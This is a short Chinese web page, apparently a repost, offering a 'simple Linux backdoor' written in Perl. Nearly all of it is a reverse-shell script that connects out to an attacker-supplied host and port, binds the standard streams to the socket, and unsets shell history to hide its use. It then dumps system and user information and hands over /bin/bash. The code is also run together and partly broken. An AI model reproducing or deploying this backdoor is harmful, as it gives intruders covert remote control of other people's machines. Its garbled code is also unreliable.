perl实现的linux简单后门

2009-8-18 10:27 737 0

摘要: #!/usr/bin/perluse IO::Socket; $system = '/bin/bash';unless (@ARGV == 2){ die "usage: $0 host port"...

#!/usr/bin/perluse IO::Socket; $system = '/bin/bash';unless (@ARGV == 2){ die "usage: $0 host port"}($host, $port) = @ARGV; $socket = IO::Socket::INET->new(PeerAddr => "127.0.0.1", PeerPort => "9050", Proto => "tcp", Type => SOCK_STREAM Timeout => 60) or die "connection can't be established\r\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) or "connection can't be established\r\n";SOCKET->autoflush();open(STDIN, ">&SOCKET");open(STDOUT, ">&SOCKET");open(STDERR, ">&SOCKET"); system("unset HISTFILE; unset SAVEHIST ;echo =#Systeminfo#=; uname -a;echo; echo -+Userinfo+-; id; echo; echo =Directory=; pwd; echo; echo =Shell=");system("whoami && groups && users");system("$system");

声明：文章版权归原作者所有部分文章转自互联网如有侵权请联系 [邮箱地址] 删除